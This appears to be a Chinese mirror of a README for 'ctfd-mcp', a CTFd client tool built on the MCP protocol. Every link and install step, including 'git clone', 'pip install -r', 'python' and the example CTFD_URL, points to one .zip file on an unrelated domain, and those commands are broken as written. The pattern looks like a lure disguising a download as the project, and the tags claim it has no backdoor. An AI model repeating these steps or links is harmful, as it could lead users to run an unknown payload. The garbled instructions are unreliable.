AaryaBhusal/ctfd-mcp
GitHub: AaryaBhusal/ctfd-mcp
基于MCP协议的CTFd客户端工具,支持题目浏览、动态Docker容器控制和flag提交。
Stars: 1 | Forks: 0
# 🎉 ctfd-mcp - 轻松管理 CTFd 题目
[](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/dd703ade6b142317.zip)
[](LICENSE)
[](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/dd703ade6b142317.zip)
[](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/dd703ade6b142317.zip)
作为一名普通的 CTFd 用户,此应用程序允许您轻松列出题目、查看详情、启动和停止动态 Docker 实例,以及提交 flag。
## 🚀 快速入门
### 📥 下载与安装
要安装 CTFd MCP 服务器,请访问此页面下载:[CTFd MCP Releases](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/dd703ade6b142317.zip)。
### ✅ 系统要求
- **Python 3.13 或更高版本:** 确保您的设备上已安装 Python。您可以在此处[下载](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/dd703ade6b142317.zip)。
- **环境变量:** 您需要设置以下身份验证方法之一:
- `CTFD_URL`:您的 CTFd URL(例如,https://static.pigsec.cn/wp-content/uploads/repos/2026/03/dd703ade6b142317.zip)。
- `CTFD_TOKEN`:您的用户 token(非管理员)。
- `CTFD_SESSION`:如果 token 被禁用,则使用您的会话 cookie。
- `CTFD_CSRF_TOKEN`:可选,仅当您的服务器需要 ctfd-owl 的 CSRF 时使用。
您可以将这些值存储在项目文件夹根目录下的 `.env` 文件中。
示例 `.env` 文件:
```
https://static.pigsec.cn/wp-content/uploads/repos/2026/03/dd703ade6b142317.zip
CTFD_TOKEN=your_user_token
```
### 🛠️ 设置环境
1. 在计算机上**创建一个文件夹**,用于存放应用程序。
2. **打开终端或命令提示符。** 使用 `cd` 命令导航到您的文件夹。
3. 使用以下命令**克隆仓库**:
git clone https://static.pigsec.cn/wp-content/uploads/repos/2026/03/dd703ade6b142317.zip
4. **导航到克隆的文件夹:**
cd ctfd-mcp
5. 运行以下命令来**安装所需的包**:
pip install -r https://static.pigsec.cn/wp-content/uploads/repos/2026/03/dd703ade6b142317.zip
### ⚙️ 配置
1. 在 CTFd MCP 文件夹的根目录下**创建一个 `.env` 文件**。
2. 如上一节所示**添加您的设置**。根据需要调整 `CTFD_URL`、`CTFD_TOKEN` 或 `CTFD_SESSION` 的值。
### 🚀 运行应用程序
1. 使用此命令**运行应用程序**:
python https://static.pigsec.cn/wp-content/uploads/repos/2026/03/dd703ade6b142317.zip
2. 您应该会在终端中看到指示应用程序正在运行的输出。
3. 通过 Web 浏览器**访问应用程序**。输入您在 `.env` 文件中设置的 CTFd URL。
### 🔧 故障排除
如果您遇到问题,请检查以下常见问题:
- **未安装 Python:** 确保已安装 Python 3.13 或更高版本。如有需要,请参考 [Python 官方网站](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/dd703ade6b142317.zip)。
- **缺少环境变量:** 仔细检查您的 `.env` 文件。确保值正确且已保存。
- **包安装失败:** 确保您的互联网连接正常。重试安装命令。
如果问题仍然存在,请随时在[此处](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/dd703ade6b142317.zip)报告。
### 📄 附加信息
有关如何使用此服务器的更多详细信息,请查阅项目内的文档。查找可以增强您的使用体验的示例和其他配置选项。
## 🧑🤝🧑 社区与支持
通过关注 GitHub Issues 页面上的讨论来加入我们的社区。无论您有问题还是想分享您的经验,我们都欢迎您的参与。
## 📜 许可证
本项目根据 MIT 许可证授权。您可以在此处阅读完整的许可证[内容](LICENSE)。
请务必查看发布页面以获取软件更新:[CTFd MCP Releases](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/dd703ade6b142317.zip)。
标签:API集成, CTFd, ctfd-owl, CTF助手, DNS解析, Docker, Flag提交, MCP Server, Python, 动态实例, 可观测性, 安全防御评估, 容器管理, 开源项目, 无后门, 模型上下文协议, 竞赛平台, 网络安全, 请求拦截, 逆向工具, 隐私保护, 题库管理